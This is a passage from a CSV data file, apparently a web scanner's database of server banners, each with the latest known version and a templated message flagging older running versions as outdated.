(current is at least @CURRENT_VER)" "600017","ActiveLinks/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600018","ActuateHttpService/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600019","Adaptec ASM ","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600020","ADSM_HTTP/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600021","AdSubtract","2.54","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600022","adtag/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600023","Adtran Embedded HTTP Server ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600024","aEGiS_nanoweb/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600025","AG/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600026","AGAVA.Banners/","1.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600027","Agent-ListenServer-HttpSvr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600028","Agranat-EmWeb/","R5_2_6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600029","Agranat/","Agranat-EmWeb/R5_2_6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600030","Alchemy Eye/","Alchemy Eye/3.0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600031","AlkalineSearchEngine/","1.","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600032","Allegro-Software-RomPager/","4.61","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600033","AllegroServe/","1.2.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600034","AMOS-HTTPD/","1.5A127","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600035","AMOS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600036","Analogx","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600037","Anonymous/","1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600038","anses/","1.16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600039","AnWeb/","1.42p","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600040","AOLserver/ ","4.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600041","Apache Coyote/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600042","Apache Tomcat/","8.0.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Tomcat 7.0.57, 6.0.41, 5.5.36 and 4.1.40 are also current." "600044","Apache-AdvancedExtranetServer/","2.0.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600045","Apache-Coyote/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600046","Apache-NeoNova/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600047","Apache-NeoWebScript/","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600048","Apache-SSL-US/","1.1.1+1.2+1.3b3-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600049","Apache-SSL/","1.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600050","Apache/","2.4.66","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)." "600051","apachejserv/","1.1.2i","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600052","ApacheSSL/","2.0.58","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600053","AppleEmbeddedWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600054","AppleShareIP/","6.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600055","ARIN-HTTPd/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600056","ARM/","06TD.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600057","ArtBlast/","3.5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600058","ASP/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600059","AtermWARPSTAR/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600060","auth_external/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600061","auth_kerberos/","4.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600062","auth_ldap/","1.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600063","auth_mysql/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600064","auth_radius/","1.7PR1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600065","AuthentiCache/","2.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600066","AuthMySQL/","4.3.9-2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600067","AuthMySQL/","deam.org-1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600068","AuthMySQL/","trans-1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600069","AuthMySQLD/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600070","AuthNuSphere/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600071","AuthPG/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600072","AuthPostgreSQL/","0.9.7d","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600073","AuthSMB/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600074","AuthTDS/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600075","AV/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600076","Awhttpd/","Awhttpd/2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600077","AWS/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600078","AXISThinWizard/","v3.05.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600079","AxKit/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600080","balanced_by_mod_backhand/","1.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600081","BaseHTTP/","0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600082","BBC ","06.21.501","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600083","BBCE/","6.6.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600084","BeatBoxCapture/","6.5.64","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600085","Ben-SSL/","1.60","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600086","beta/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600087","BigFix HTTP Server/","5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600088","BillGatesSeinWebServer/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600089","BiRD/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600090","bkhttp/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600091","Blazix/","1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600092","Bluestem/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600093","Boa/","0.94.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600094","BOA/","1.2.2c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600095","bozohttpd/","20060517","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600096","broker/","8.7.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600097","BRS-WebWeaver/","1.33","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600098","BSAFE-SSL-C/","1.0.0i","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600099","BSDI/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600100","BunnyServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600101","buser/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600102","BustaWS/","3.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600103","bw/","3.37","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600104","BWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600105","C2NetEU/","3012","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600106","C2NetUS/","2011","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600107","Canon Http Server ","2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600108","Caudium/","1.4.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600109","CCO/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600110","CERN/","3.0A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600111","CheckPointSVNfoundation/","NGFP2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600112","Cheetah/","2.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600113","Cherry/","6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600114","CherryPy/","3.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600115","Chili!Soft-ASP/","3.6.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600116","cisco-CPA/","cisco-CPA/3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600117","cisco-IOS/","12.1 HTTP-server/1.0(1)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600118","CiteHTTPD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600119","Citysearch-Apache/","1.3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600120","CL-HTTP","70.190","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600121","CM4all-JailCGI/","1.4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600122","CMS_Pipelines/","1.0110","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600123","CMS/","20.000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600124","CoffeeMaker/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600125","Commerce-Builder/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600126","CommerceServer400/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600127","CommuniGatePro/","5.4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600128","Communique/","4.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600129","CommuniqueServletEngine/","4.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600130","CompaqHTTPServer/","9.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600131","ConcentricHost-Ashurbanipal/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600132","ConcentricHost-NaramSin/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600133","ConductorSNMP/","1.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600134","ConferenceRoom/","3.5.0.2-SEC.win32-ws2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600135","confproxy/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600136","CoolWeb/","3.8.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600137","Core/","3.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600138","Cougar ","9.01.01.5001","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600139","covalent_auth/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600140","CovalentSSL/","2.1.03.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600141","Coyote/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600142","cpaneld/","cpaneld/6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600143","cpsrvd/","11.32.3.21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600144","Crossing/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600145","Cryptoveg/","4.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600146","CSacek/","2.1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600147","Cthulhu/","0.23a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600148","CUPS/","2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600149","da.ru/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600150","DartWebServerTool/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600151","DAV/","2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600152","David-WebBox/","12.00a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600153","Debut/","1.08","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600154","DeleGate/","8.5.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600155","DeltaEdgeCache/","release-2-28-rc2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600156","DHost/","9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600157","diffprivs/","20030624","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600158","Dina HTTPd Server/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600159","DinaHTTPdServer/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600160","Dixienet/","6.6.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600161","DLXApache/","4.3.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600162","DMMWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600163","Domestic/","v2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600164","Domino-Go-Webserver/","4.6.2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600165","DotTV Webserver ","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600166","DSS/","6.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600167","dwhttpd/","dwhttpd/4.2a7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600168","dynamicScale/","2.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600169","E-Neverland Data Palm/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600170","e/FSV-","28-01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600171","eBD/","3.2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600172","ebLogic XMLX Module ","8.1 SP1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600173","EHTTP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600174","EIMWebServer/","3.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600175","Embedded HTTP Server","2.0f","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600176","Embperl/","2.3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600177","EMWHTTPD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600178","Engine/","8.1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600179","Enhydra-MultiServer/","3.1.1b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600180","Entangle/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600181","EnterpriseWeb/","1.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600182","ePerl/","2.2.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600183","Eplicator/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600184","EPSON-HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600185","EServ/","3.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600186","ESMWEBSERVERS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600187","eVisMUX/","6.0.51212128","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600188","EWS-NIC3/","6.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600189","EWS-NIC4/","8.43","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600190","Ews/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600191","Export/","v2.0-1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600192","exteNdApplicationServer/","100.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600193","ExtraWeb/","4.0.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600194","fhttpd/","0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600195","FileMakerPro/","6.0v4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600196","filter/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600197","FireSite/","2.7_PPC","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600198","FirstClass/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600199","FJapache/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600200","fnord-spb/","280604","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600201","fnord/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600202","FooServe/","0.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600203","Footprint","4.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600204","FortiWeb-","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600205","FoundryNetworks/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600206","fp/","4.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600207","FPWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600208","FreezeServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600209","Frontier/","9.1b2-MacOSX","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600210","FrontPage-PWS32/","4.0.2.2717","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600211","FrontPage/","5.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER) (may depend on server version)" "600212","FSID/","M25-8514","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600213","FSPMS/","5.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600214","FT::Srv/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600215","FTU/","2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600216","Fujitsu-InfoProvider-Pro/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600217","Fujitsu-InfoProvider-Pro/V","3.0L20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600218","Ganesh/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600219","gettxt/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600220","GFE/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600221","GG/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600222","giFT-Gnutella/","0.0.10.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600223","glass/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600224","GMSE_Sandcastle/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600225","Gnat-Box/","3.3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600226","GNNserver/","2.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600227","GoAhead-Webs/","2.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600228","GoAhead/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600229","GoGoGadgetWebserver/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600230","GordianEmbedded/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600231","GoServe/","2.52","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600232","Ground/","5.3.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600233","GTS-Datanet/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600234","GTS/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600235","gtxs/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600236","GUILD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600237","GWS/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600238","HackersLabWebServer/","7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600239","Hardened-PHP/","5.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600240","HavelsanEmbeddedQuix/","18.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600241","Hawkeye/","1.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600242","heitml/","2.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600243","Hitmatic/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600244","HomeGrownServer/","10.3.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600245","Homepage-Engine/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600246","HP Apache-based Web Server/","1.3.27 (Unix)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600247","HP Web Jetadmin/","2.0.50","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600248","HP-ChaiServer/","HP-ChaiServer/3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600249","HP-ChaiSOE/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600250","HP-UX_Apache-based_Web_Server/","2.0.48","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600251","Hp-Web-JetAdmin-","5.06.190","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600252","Hp-Web-Server-","3.00.1696","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600253","HPWB/","4.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600254","HSP/","2.10.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600255","HTS/","2.99","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600256","HTTP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600257","HTTPd-WASD/","11.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600258","httpd/","2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600259","HTTPlistener/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600260","HTTPS/","0.991","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600261","HttpStk/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600262","Hunn/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600263","HyNetOS/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600264","Hyperwave-Information-Server/","5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600265","Hyperwave-IS/","6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600266","IBM HTTP Server/","V5R3M0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600267","IBM_HTTP_Server/","7.0.0.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600268","IBM-HTTP-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600269","IBM-ICS/","4.2.1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600270","IBM-PROXY-WTE-US/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600271","IBM-PROXY-WTE/","6f.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600272","IBMHTTPServer/","V5R3M0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600273","icecast/","icecast/1.3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600274","IceWarp/","13.0.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600275","IceWarpWebSrv/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600276","ID/","878810","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600277","IdeaWebServer/","v0.80","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600278","IDS-Server/","4.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600279","IgServ/","1.0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600280","iHTML/","2.20.324","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600281","IIS/","10.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600282","Inc.onz/","VMV4R4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600283","include/","3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600284","Indy/","10.0.52","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600285","inets/","5.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600286","Infrastructure/","4.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600287","Inktomi Search","4.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600288","Intel NetportExpressPro/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600289","Interaction/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600290","Interambition HTTPd/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600291","InterambitionHTTPd/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600292","InterJet/","3.2.1p16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600293","InterSpace HTTP Tunneling/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600294","InterSpaceFDS/","2.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600295","InterSpaceHTTPTunneling/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600296","Intrusion/","1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600297","IPCheck/","5.4.0.796","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600298","IPL/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600299","iPlanet-Enterprise/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600300","iPlanet-Web-Proxy-Server/","3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600301","iPlanetEnterprise/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600302","ipMonitor ","9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600303","iPrism-httpd/","v3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600304","Ipswitch-IMail/","8.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600305","IpswitchWebCalendaring/","8.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600306","iPyramid.system/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600307","ISS-PXServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600308","iTPSecureWebServer/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600309","iTunes/","4.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600310","IXOS-eCON/","5.0A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600311","J2EE SDK/","1.3.1 (HTTP/1.1 Connector)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600312","J2EESDK/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600313","JAGeX/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600314","JaguarServerVersion/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600315","Jana-Server/","2.4.6.1","@RUNNING_VER appears to 